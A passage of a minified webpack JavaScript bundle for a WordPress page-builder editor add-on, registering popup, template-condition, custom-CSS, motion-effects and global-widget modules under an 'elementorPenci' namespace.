o=n(7),r=n(33),i=n(32),a=n(149);e.exports=function(e){o(o.S,e,{from:function(e){var t,n,o,u,l=arguments[1];return r(this),(t=void 0!==l)&&r(l),null==e?new this:(n=[],t?(o=0,u=i(l,arguments[2],2),a(e,!1,function(e){n.push(u(e,o++))})):a(e,!1,n.push,n),new this(n))}})}},,,,,,,,,,,,function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.Templates=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(59)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,null,[{key:"getEndpointFormat",value:function(){return"site-editor/templates/{id}"}}]),n}($e.modules.CommandData);t.Templates=s,(0,l.default)(s,"signature","site-editor/templates");var c=s;t.default=c},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ConditionsConfig=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(59)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,null,[{key:"getEndpointFormat",value:function(){return"site-editor/conditions-config/{id}"}}]),n}($e.modules.CommandData);t.ConditionsConfig=s,(0,l.default)(s,"signature","site-editor/conditions-config");var c=s;t.default=c},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.TemplatesConditions=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(59)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,null,[{key:"getEndpointFormat",value:function(){return"site-editor/templates-conditions/{id}"}}]),n}($e.modules.CommandData);t.TemplatesConditions=s,(0,l.default)(s,"signature","site-editor/templates-conditions");var c=s;t.default=c},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.TemplatesConditionsConflicts=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(59)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,null,[{key:"getEndpointFormat",value:function(){return"".concat(n.signature,"/{id}")}}]),n}($e.modules.CommandData);t.TemplatesConditionsConflicts=s,(0,l.default)(s,"signature","site-editor/templates-conditions-conflicts");var c=s;t.default=c},,,,,,,,function(e,t,n){for(var o=n(234),r=n(235),i=n(31),a=n(17),u=n(29),l=n(153),s=n(13),c=s("iterator"),d=s("toStringTag"),f=l.Array,p={CSSRuleList:!0,CSSStyleDeclaration:!1,CSSValueList:!1,ClientRectList:!1,DOMRectList:!1,DOMStringList:!1,DOMTokenList:!0,DataTransferItemList:!1,FileList:!1,HTMLAllCollection:!1,HTMLCollection:!1,HTMLFormElement:!1,HTMLSelectElement:!1,MediaList:!0,MimeTypeArray:!1,NamedNodeMap:!1,NodeList:!0,PaintRequestList:!1,Plugin:!1,PluginArray:!1,SVGLengthList:!1,SVGNumberList:!1,SVGPathSegList:!1,SVGPointList:!1,SVGStringList:!1,SVGTransformList:!1,SourceBufferList:!1,StyleSheetList:!0,TextTrackCueList:!1,TextTrackList:!1,TouchList:!1},m=r(p),v=0;v<m.length;v++){var g,h=m[v],y=p[h],_=a[h],b=_&&_.prototype;if(b&&(b[c]||u(b,c,f),b[d]||u(b,d,h),l[h]=f,y))for(g in o)b[g]||i(b,g,o[g],!0)}},function(e,t){e.exports=function(e,t){return{value:t,done:!!e}}},function(e,t,n){"use strict";var o=n(279),r=n(88),i=n(189),a={};n(29)(a,n(13)("iterator"),function(){return this}),e.exports=function(e,t,n){e.prototype=o(a,{next:r(1,n)}),i(e,t+" Iterator")}},function(e,t,n){var o=n(23),r=n(280),i=n(152),a=n(147)("IE_PROTO"),u=function(){},l=function(){var e,t=n(97)("iframe"),o=i.length;for(t.style.display="none",n(236).appendChild(t),t.src="javascript:",(e=t.contentWindow.document).open(),e.write("<script>document.F=Object<\/script>"),e.close(),l=e.F;o--;)delete l.prototype[i[o]];return l()};e.exports=Object.create||function(e,t){var n;return null!==e?(u.prototype=o(e),n=new u,u.prototype=null,n[a]=e):n=l(),void 0===t?n:r(n,t)}},function(e,t,n){var o=n(39),r=n(23),i=n(235);e.exports=n(22)?Object.defineProperties:function(e,t){r(e);for(var n,a=i(t),u=a.length,l=0;u>l;)o.f(e,n=a[l++],t[n]);return e}},function(e,t,n){var o=n(60),r=n(93),i=n(147)("IE_PROTO"),a=Object.prototype;e.exports=Object.getPrototypeOf||function(e){return e=r(e),o(e,i)?e[i]:"function"==typeof e.constructor&&e instanceof e.constructor?e.constructor.prototype:e instanceof Object?a:null}},,,,,,,,function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(61)),u=o(n(25)),l=o(n(4)),s=o(n(5)),c=function(e){(0,l.default)(n,e);var t=(0,s.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"run",value:function(){var e;this.component=this.component||$e.components.get("document/popup");for(var t=arguments.length,o=new Array(t),r=0;r<t;r++)o[r]=arguments[r];return(e=(0,a.default)((0,u.default)(n.prototype),"run",this)).call.apply(e,[this].concat(o))}}]),n}($e.modules.hookUI.After);t.default=c},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){"use strict";var o=n(1),r=o(n(352)),i=o(n(353)),a=o(n(354)),u=o(n(367)),l=o(n(380)),s=o(n(401)),c=o(n(427)),d=o(n(431)),f=Marionette.Application.extend({config:{},modules:{},initModules:function(){var e=n(432),t=n(434),o=n(436),f=n(437),p=n(438),m=n(440);this.modules={queryControl:new e,forms:new s.default,library:new t,customCSS:new r.default,globalWidget:new u.default,flipBox:new o,motionFX:new i.default,shareButtons:new f,assetsManager:new p,themeElements:new m,themeBuilder:new l.default,siteEditor:new d.default,screenshots:new c.default,popup:new a.default}},ajax:{prepareArgs:function(e){return e[0]="penci_"+e[0],e},send:function(){return elementorCommon.ajax.send.apply(elementorCommon.ajax,this.prepareArgs(arguments))},addRequest:function(){return elementorCommon.ajax.addRequest.apply(elementorCommon.ajax,this.prepareArgs(arguments))}},translate:function(e,t){return elementorCommon.translate(e,null,t,this.config.i18n)},onStart:function(){var e=this;this.config=PenciElementorConfig,this.initModules(),jQuery(window).on("elementor:init",function(){return e.onElementorInit()})},onElementorInit:function(){var e=this;elementor.on("preview:loaded",function(){return e.onElementorPreviewLoaded()})},onElementorPreviewLoaded:function(){elementor.$preview[0].contentWindow.elementorPenci=this},libraryRemoveGetProButtons:function(){},onActivateSuccess:function(){elementor.noticeBar.onCloseClick(),elementor.config.library_connect.is_connected=!0,elementorPenci.config.isActive=!0,elementor.notifications.showToast({message:elementor.translate("connected_successfully")})}});window.elementorPenci=new f,elementorPenci.start()},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0,n(101);var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"addCustomCss",value:function(e,t){if(t){var n=t.model,o=n.get("settings").get("custom_css"),r=".elementor-element.elementor-element-"+n.get("id");return"document"===n.get("elType")&&(r=elementor.config.document.settings.cssWrapperSelector),o&&(e+=o.replace(/selector/g,r)),e}}},{key:"onElementorInit",value:function(){elementor.hooks.addFilter("editor/style/styleText",this.addCustomCss),elementor.on("navigator:init",this.onNavigatorInit.bind(this))}},{key:"onNavigatorInit",value:function(){elementor.navigator.indicators.customCSS={icon:"code-bold",settingKeys:["custom_css"],title:elementorPenci.translate("custom_css"),section:"section_custom_css"}}}]),n}(elementorModules.editor.utils.Module);t.default=l},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"onElementorInit",value:function(){elementor.on("navigator:init",this.onNavigatorInit.bind(this))}},{key:"onNavigatorInit",value:function(){elementor.navigator.indicators.motionFX={icon:"flash",title:elementorPenci.translate("motion_effects"),settingKeys:["motion_fx_motion_fx_scrolling","motion_fx_motion_fx_mouse","background_motion_fx_motion_fx_scrolling","background_motion_fx_motion_fx_mouse"],section:"section_effects"}}}]),n}(elementorModules.editor.utils.Module);t.default=l},function(e,t,n){"use strict";var o=n(1),r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(355)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){var e;(0,r.default)(this,n);for(var o=arguments.length,i=new Array(o),a=0;a<o;a++)i[a]=arguments[a];return(e=t.call.apply(t,[this].concat(i))).displaySettingsTypes={triggers:{icon:"eicon-click"},timing:{icon:"eicon-cog"}},e}return(0,i.default)(n,[{key:"onElementorLoaded",value:function(){this.component=$e.components.register(new l.default({manager:this}))}}]),n}(elementorModules.editor.utils.Module);e.exports=s},function(e,t,n){"use strict";var o=n(148),r=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var i=r(n(3)),a=r(n(6)),u=r(n(66)),l=r(n(4)),s=r(n(5)),c=r(n(59)),d=o(n(356)),f=function(e){(0,l.default)(n,e);var t=(0,s.default)(n);function n(){var e;(0,i.default)(this,n);for(var o=arguments.length,r=new Array(o),a=0;a<o;a++)r[a]=arguments[a];return e=t.call.apply(t,[this].concat(r)),(0,c.default)((0,u.default)(e),"onPageSettingsCloseHandler",null),e}return(0,a.default)(n,[{key:"getNamespace",value:function(){return"document/popup"}},{key:"defaultHooks",value:function(){return this.importHooks(d)}}]),n}($e.modules.ComponentBase);t.default=f},function(e,t,n){"use strict";var o=n(48),r=n(0);r(t,"__esModule",{value:!0});var i=n(357);o(i).forEach(function(e){"default"!==e&&"__esModule"!==e&&r(t,e,{enumerable:!0,get:function(){return i[e]}})});var a=n(359);o(a).forEach(function(e){"default"!==e&&"__esModule"!==e&&r(t,e,{enumerable:!0,get:function(){return a[e]}})})},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"PopupSave",{enumerable:!0,get:function(){return r.PopupSave}});var r=n(358)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupSave=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/save/save"}},{key:"getId",value:function(){return"elementor-pro-popup-save"}},{key:"getConditions",value:function(){return"popup"===elementor.config.document.type}},{key:"apply",value:function(){var e={};jQuery.each(elementorPenci.modules.popup.displaySettingsTypes,function(t,n){e[t]=n.model.toJSON({remove:["default"]})}),elementorPenci.ajax.addRequest("popup_save_display_settings",{data:{settings:e}})}}]),n}($e.modules.hookData.After);t.PopupSave=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"PopupAddInstructions",{enumerable:!0,get:function(){return r.PopupAddInstructions}}),o(t,"PopupAddLibraryTab",{enumerable:!0,get:function(){return i.PopupAddLibraryTab}}),o(t,"PopupAddTriggers",{enumerable:!0,get:function(){return a.PopupAddTriggers}}),o(t,"PopupRemoveInstructions",{enumerable:!0,get:function(){return u.PopupRemoveInstructions}}),o(t,"PopupRemoveLibraryTab",{enumerable:!0,get:function(){return l.PopupRemoveLibraryTab}}),o(t,"PopupRemoveTriggers",{enumerable:!0,get:function(){return s.PopupRemoveTriggers}});var r=n(360),i=n(361),a=n(362),u=n(364),l=n(365),s=n(366)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupAddInstructions=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/open"}},{key:"getId",value:function(){return"elementor-pro-popup-add-instructions"}},{key:"getConditions",value:function(e){return"popup"===elementor.documents.get(e.id).config.type&&!elementor.config.user.introduction.popupSettings}},{key:"apply",value:function(){this.component.onPageSettingsCloseHandler=this.onPageSettingsClose.bind(this),$e.components.get("panel/page-settings").on("route/close",this.component.onPageSettingsCloseHandler)}},{key:"onPageSettingsClose",value:function(){var e=this.getIntroduction();e.show(elementor.getPanelView().footer.currentView.ui.settings[0]),e.setViewed(),$e.components.get("panel/page-settings").off("route/close",this.component.onPageSettingsCloseHandler)}},{key:"getIntroduction",value:function(){return new elementorModules.editor.utils.Introduction({introductionKey:"popupSettings",dialogOptions:{id:"elementor-popup-settings-introduction",headerMessage:'<i class="eicon-info"></i>'+elementorPenci.translate("popup_settings_introduction_title"),message:elementorPenci.translate("popup_settings_introduction_message"),closeButton:!0,closeButtonClass:"eicon-close",position:{my:"left bottom",at:"right bottom-5",autoRefresh:!0},hide:{onOutsideClick:!1}}})}}]),n}(o(n(289)).default);t.PopupAddInstructions=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupAddLibraryTab=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/open"}},{key:"getId",value:function(){return"elementor-pro-popup-add-library-tab"}},{key:"getConditions",value:function(e){return"popup"===elementor.documents.get(e.id).config.type}},{key:"apply",value:function(){$e.components.get("library").addTab("templates/popups",{title:elementorPenci.translate("popups"),filter:{source:"remote",type:"popup"}},1)}}]),n}($e.modules.hookUI.After);t.PopupAddLibraryTab=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupAddTriggers=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=o(n(363)),s=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/open"}},{key:"getId",value:function(){return"elementor-pro-popup-add-triggers"}},{key:"getConditions",value:function(e){return"popup"===elementor.documents.get(e.id).config.type}},{key:"apply",value:function(){elementor.panel?this.addUI():elementor.on("preview:loaded",this.addUI.bind(this))}},{key:"addUI",value:function(){this.addPanelFooterSubmenuItems(),this.addPublishTabs()}},{key:"addPublishTabs",value:function(){var e=elementor.config.document.displaySettings,t=$e.components.get("theme-builder-publish"),n=elementorPenci.modules.popup;jQuery.each(n.displaySettingsTypes,function(n,o){o.model=new elementorModules.editor.elements.models.BaseSettings(e[n].settings,{controls:e[n].controls}),t.addTab(n,{View:l.default,viewOptions:{name:n,id:"elementor-popup-".concat(n,"__controls"),model:o.model,controls:o.model.controls},name:n,title:elementorPenci.translate(n),description:elementorPenci.translate("popup_publish_screen_".concat(n,"_description")),image:elementorPenci.config.urls.modules+"popup/assets/images/".concat(n,"-tab.svg")})})}},{key:"addPanelFooterSubmenuItems",value:function(){var e=$e.components.get("theme-builder-publish"),t=elementorPenci.modules.popup.displaySettingsTypes;jQuery.each(t,function(t,n){elementor.getPanelView().footer.currentView.addSubMenuItem("saver-options",{before:"save-template",name:t,icon:n.icon,title:elementorPenci.translate(t),callback:function(){return $e.route(e.getTabRoute(t))}})})}}]),n}($e.modules.hookUI.After);t.PopupAddTriggers=s;var c=s;t.default=c},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(48));n(101);var i=o(n(3)),a=o(n(6)),u=o(n(61)),l=o(n(25)),s=o(n(4)),c=o(n(5)),d=function(e){(0,s.default)(n,e);var t=(0,c.default)(n);function n(){var e;(0,i.default)(this,n);for(var o=arguments.length,r=new Array(o),a=0;a<o;a++)r[a]=arguments[a];return(e=t.call.apply(t,[this].concat(r))).template=_.noop,e.activeTab="content",e.listenTo(e.model,"change",e.onModelChange),e}return(0,a.default)(n,[{key:"getNamespaceArray",value:function(){return["popup","display-settings"]}},{key:"className",value:function(){return(0,u.default)((0,l.default)(n.prototype),"className",this).call(this)+" elementor-popup__display-settings"}},{key:"toggleGroup",value:function(e,t){t.toggleClass("elementor-active",!!this.model.get(e))}},{key:"onRenderTemplate",value:function(){this.activateFirstSection()}},{key:"onRender",value:function(){var e,t=this,n=this.getOption("name");this.children.each(function(o){if("heading"===o.model.get("type")){var r=o.model.get("name").replace("_heading","");e=jQuery("<div>",{id:"elementor-popup__".concat(n,"-controls-group--").concat(r),class:"elementor-popup__display-settings_controls_group"});var i=jQuery("<div>",{class:"elementor-popup__display-settings_controls_group__icon"}),a=jQuery("<img>",{src:elementorPenci.config.urls.modules+"popup/assets/images/".concat(n,"/").concat(r,".svg")});i.html(a),e.html(i),o.$el.before(e),e.append(o.$el),t.toggleGroup(r,e)}else e&&e.append(o.$el)})}},{key:"onModelChange",value:function(){var e=(0,r.default)(this.model.changed)[0],t=this.getControlViewByName(e);"switcher"===t.model.get("type")&&this.toggleGroup(e,t.$el.parent())}}]),n}(elementorModules.editor.views.ControlsStack);t.default=d},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupRemoveInstructions=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/unload"}},{key:"getId",value:function(){return"elementor-pro-popup-remove-instructions"}},{key:"getConditions",value:function(e){return"popup"===e.document.config.type&&!elementor.config.user.introduction.popupSettings}},{key:"apply",value:function(){$e.components.get("panel/page-settings").off("route/close",this.component.onPageSettingsCloseHandler)}}]),n}(o(n(289)).default);t.PopupRemoveInstructions=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupRemoveLibraryTab=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/unload"}},{key:"getId",value:function(){return"elementor-pro-popup-remove-library-tab"}},{key:"getConditions",value:function(e){return"popup"===e.document.config.type}},{key:"apply",value:function(){$e.components.get("library").removeTab("templates/popups")}}]),n}($e.modules.hookUI.After);t.PopupRemoveLibraryTab=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.PopupRemoveTriggers=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/unload"}},{key:"getId",value:function(){return"elementor-pro-popup-remove-triggers"}},{key:"getConditions",value:function(e){return"popup"===e.document.config.type}},{key:"apply",value:function(){this.removePanelFooterSubmenuItems(),this.removePublishTabs()}},{key:"removePanelFooterSubmenuItems",value:function(){var e=elementorPenci.modules.popup.displaySettingsTypes;jQuery.each(e,function(e){elementor.getPanelView().footer.currentView.removeSubMenuItem("saver-options",{name:e})})}},{key:"removePublishTabs",value:function(){var e=$e.components.get("theme-builder-publish"),t=elementorPenci.modules.popup.displaySettingsTypes;jQuery.each(t,function(t){e.removeTab(t)})}}]),n}($e.modules.hookUI.After);t.PopupRemoveTriggers=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(182)),i=o(n(48)),a=o(n(3)),u=o(n(6)),l=o(n(4)),s=o(n(5)),c=o(n(368)),d=function(e){(0,l.default)(o,e);var t=(0,s.default)(o);function o(){var e;(0,a.default)(this,o);for(var n=arguments.length,r=new Array(n),i=0;i<n;i++)r[i]=arguments[i];return(e=t.call.apply(t,[this].concat(r))).globalModels={},e.panelWidgets=null,e.templatesAreSaved=!0,e}return(0,u.default)(o,[{key:"addGlobalWidget",value:function(e,t){t=_.extend({},t,{categories:[],icon:elementor.widgetsCache[t.widgetType].icon,widgetType:t.widgetType,custom:{templateID:e}});var n=this.createGlobalModel(e,t);return this.panelWidgets.add(n)}},{key:"createGlobalModel",value:function(e,t){var n=new elementor.modules.elements.models.Element(t),o=n.get("settings");return n.set("id",e),o.on("change",_.bind(this.onGlobalModelChange,this)),this.globalModels[e]=n}},{key:"onGlobalModelChange",value:function(){this.templatesAreSaved=!1}},{key:"setWidgetType",value:function(){elementor.hooks.addFilter("element/view",function(e,t){return t.get("templateID")?n(375):e}),elementor.hooks.addFilter("element/model",function(e,t){return t.templateID?n(376):e})}},{key:"registerTemplateType",value:function(){elementor.templates.registerTemplateType("widget",{showInLibrary:!1,saveDialog:{title:elementorPenci.translate("global_widget_save_title"),description:elementorPenci.translate("global_widget_save_description")},prepareSavedData:function(e){return e.widgetType=e.content[0].widgetType,e},ajaxParams:{success:this.onWidgetTemplateSaved.bind(this)}})}},{key:"addSavedWidgetsToPanel",value:function(){var e=this;this.panelWidgets=new Backbone.Collection,_.each(elementorPenci.config.widget_templates,function(t,n){e.addGlobalWidget(n,t)}),elementor.hooks.addFilter("panel/elements/regionViews",function(t){return _.extend(t.global,{view:n(377),options:{collection:e.panelWidgets}}),t})}},{key:"addPanelPage",value:function(){elementor.getPanelView().addPage("globalWidget",{view:n(379)})}},{key:"getGlobalModels",value:function(e){return e?this.globalModels[e]:this.globalModels}},{key:"saveTemplates",value:function(){if((0,i.default)(this.globalModels).length){var e=[];_.each(this.globalModels,function(t,n){if("loaded"===t.get("settingsLoadedStatus")){var o={content:(0,r.default)([t.toJSON({remove:["default"]})]),source:"local",type:"widget",id:n};e.push(o)}}),e.length&&elementorCommon.ajax.addRequest("update_templates",{data:{templates:e},success:function(){this.templatesAreSaved=!0}})}}},{key:"requestGlobalModelSettings",value:function(e,t,n){elementor.templates.requestTemplateContent("local",e.get("id"),{success:function(o){e.set("settingsLoadedStatus","loaded").trigger("settings:loaded");var r=o.content[0].settings,i=e.get("settings");i.handleRepeaterData(r),i.set(r),n&&(delete n.view.container,n.view.getContainer()),t&&t(e)}})}},{key:"setWidgetContextMenuSaveAction",value:function(){elementor.hooks.addFilter("elements/widget/contextMenuGroups",function(e,t){var n=_.findWhere(e,{name:"save"});if(!n)return e;var o=_.findWhere(n.actions,{name:"save"});return o.callback=t.save.bind(t),delete o.shortcut,e})}},{key:"onElementorInit",value:function(){var e=this;this.registerTemplateType(),this.setWidgetContextMenuSaveAction(),elementor.on("panel:init",function(){e.addSavedWidgetsToPanel(),e.setWidgetType()})}},{key:"onElementorPreviewLoaded",value:function(e){e&&(this.addPanelPage(),$e.routes.register("panel/editor","global",function(e){elementor.getPanelView().setPage("globalWidget","Global Editing",{editedView:e.view})}))}},{key:"onElementorInitComponents",value:function(){$e.components.register(new c.default({manager:this}))}},{key:"onWidgetTemplateSaved",value:function(e){elementor.templates.layout.hideModal();var t=$e.components.get("document").utils.findContainerById(elementor.templates.layout.modalContent.currentView.model.id);$e.run("document/global/link",{container:t,data:e})}}]),o}(elementorModules.editor.utils.Module);t.default=d},function(e,t,n){"use strict";var o=n(148),r=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var i=r(n(3)),a=r(n(6)),u=r(n(4)),l=r(n(5)),s=o(n(369)),c=o(n(372)),d=function(e){(0,u.default)(n,e);var t=(0,l.default)(n);function n(){return(0,i.default)(this,n),t.apply(this,arguments)}return(0,a.default)(n,[{key:"getNamespace",value:function(){return"document/global"}},{key:"defaultCommands",value:function(){return this.importCommands(s)}},{key:"defaultHooks",value:function(){return this.importHooks(c)}}]),n}($e.modules.ComponentBase);t.default=d},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"Link",{enumerable:!0,get:function(){return r.Link}}),o(t,"Unlink",{enumerable:!0,get:function(){return i.Unlink}});var r=n(370),i=n(371)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.Link=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"validateArgs",value:function(e){this.requireContainer(e),this.requireArgumentConstructor("data",Object,e);var t=e.containers;(void 0===t?[e.container]:t).forEach(function(e){if("global"===e.model.get("widgetType"))throw Error("Invalid container, id: '".concat(e.id,"' is already global."))})}},{key:"getHistory",value:function(e){var t=e.data;return{title:elementor.widgetsCache[t.widgetType].title,subTitle:t.title,type:elementorPenci.translate("linked_to_global")}}},{key:"apply",value:function(e){var t=e.data,n=e.containers;(void 0===n?[e.container]:n).forEach(function(e){var n=e.model,o=n.collection.indexOf(n);t.elType=t.type,t.settings=n.get("settings").attributes;var r=elementorPenci.modules.globalWidget.addGlobalWidget(t.template_id,t).attributes;$e.run("document/elements/create",{container:e.parent,model:{id:elementor.helpers.getUniqueID(),elType:r.type,templateID:r.template_id,widgetType:"global"},options:{at:o}}),$e.run("document/elements/delete",{container:e})}),$e.route("panel/elements/global")}}]),n}($e.modules.document.CommandHistory);t.Link=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.Unlink=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"validateArgs",value:function(e){this.requireContainer(e)}},{key:"getHistory",value:function(e){var t=e.containers,n=void 0===t?[e.container]:t;return{title:elementor.helpers.getModelLabel(n[0].model),type:elementorPenci.translate("unlink_widget")}}},{key:"apply",value:function(e){var t=e.containers;(void 0===t?[e.container]:t).forEach(function(e){var t=elementorPenci.modules.globalWidget.getGlobalModels(e.model.get("templateID"));$e.run("document/elements/create",{container:e.parent,model:{id:elementor.helpers.getUniqueID(),elType:"widget",widgetType:t.get("widgetType"),settings:elementorCommon.helpers.cloneObject(t.get("settings").attributes),defaultEditSettings:elementorCommon.helpers.cloneObject(t.get("editSettings").attributes)},options:{at:e.model.collection.indexOf(e.model),edit:!0}}),$e.run("document/elements/delete",{container:e})})}}]),n}($e.modules.document.CommandHistory);t.Unlink=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(48),r=n(0);r(t,"__esModule",{value:!0});var i=n(373);o(i).forEach(function(e){"default"!==e&&"__esModule"!==e&&r(t,e,{enumerable:!0,get:function(){return i[e]}})})},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"GlobalWidgetSave",{enumerable:!0,get:function(){return r.GlobalWidgetSave}});var r=n(374)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.GlobalWidgetSave=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/save/save"}},{key:"getId",value:function(){return"elementor-pro-global-widget-save"}},{key:"getConditions",value:function(e){var t=e.document;return(void 0===t?elementor.documents.getCurrent():t).config.panel.has_elements&&e.status&&-1!==["private","publish"].indexOf(e.status)}},{key:"apply",value:function(){elementorPenci.modules.globalWidget.saveTemplates()}}]),n}($e.modules.hookData.After);t.GlobalWidgetSave=l;var s=l;t.default=s},function(e,t,n){"use strict";var o,r=elementor.modules.elements.views.Widget;o=r.extend({globalModel:null,className:function(){return r.prototype.className.apply(this,arguments)+" elementor-global-widget elementor-global-"+this.model.get("templateID")},initialize:function(){var e=this,t=e.model.get("previewSettings"),n=e.getGlobalModel();if(t){n.set("settingsLoadedStatus","loaded").trigger("settings:loaded");var o=n.get("settings");o.handleRepeaterData(t),o.set(t,{silent:!0})}else{var i=n.get("settingsLoadedStatus");i||(n.set("settingsLoadedStatus","pending"),elementorPenci.modules.globalWidget.requestGlobalModelSettings(n,null,this.getContainer())),"loaded"!==i&&e.$el.addClass("elementor-loading"),n.on("settings:loaded",function(){e.$el.removeClass("elementor-loading"),e.render()})}r.prototype.initialize.apply(e,arguments)},getGlobalModel:function(){return this.globalModel||(this.globalModel=elementorPenci.modules.globalWidget.getGlobalModels(this.model.get("templateID"))),this.globalModel},getEditModel:function(){return this.getGlobalModel()},getHTMLContent:function(e){return"loaded"===this.getGlobalModel().get("settingsLoadedStatus")?r.prototype.getHTMLContent.call(this,e):""},serializeModel:function(){var e=this.getGlobalModel();return e.toJSON.apply(e,_.rest(arguments))},unlink:function(){$e.run("document/global/unlink",{container:this.getContainer()})},onEditRequest:function(){$e.route("panel/editor/global",{view:this})}}),e.exports=o},function(e,t,n){"use 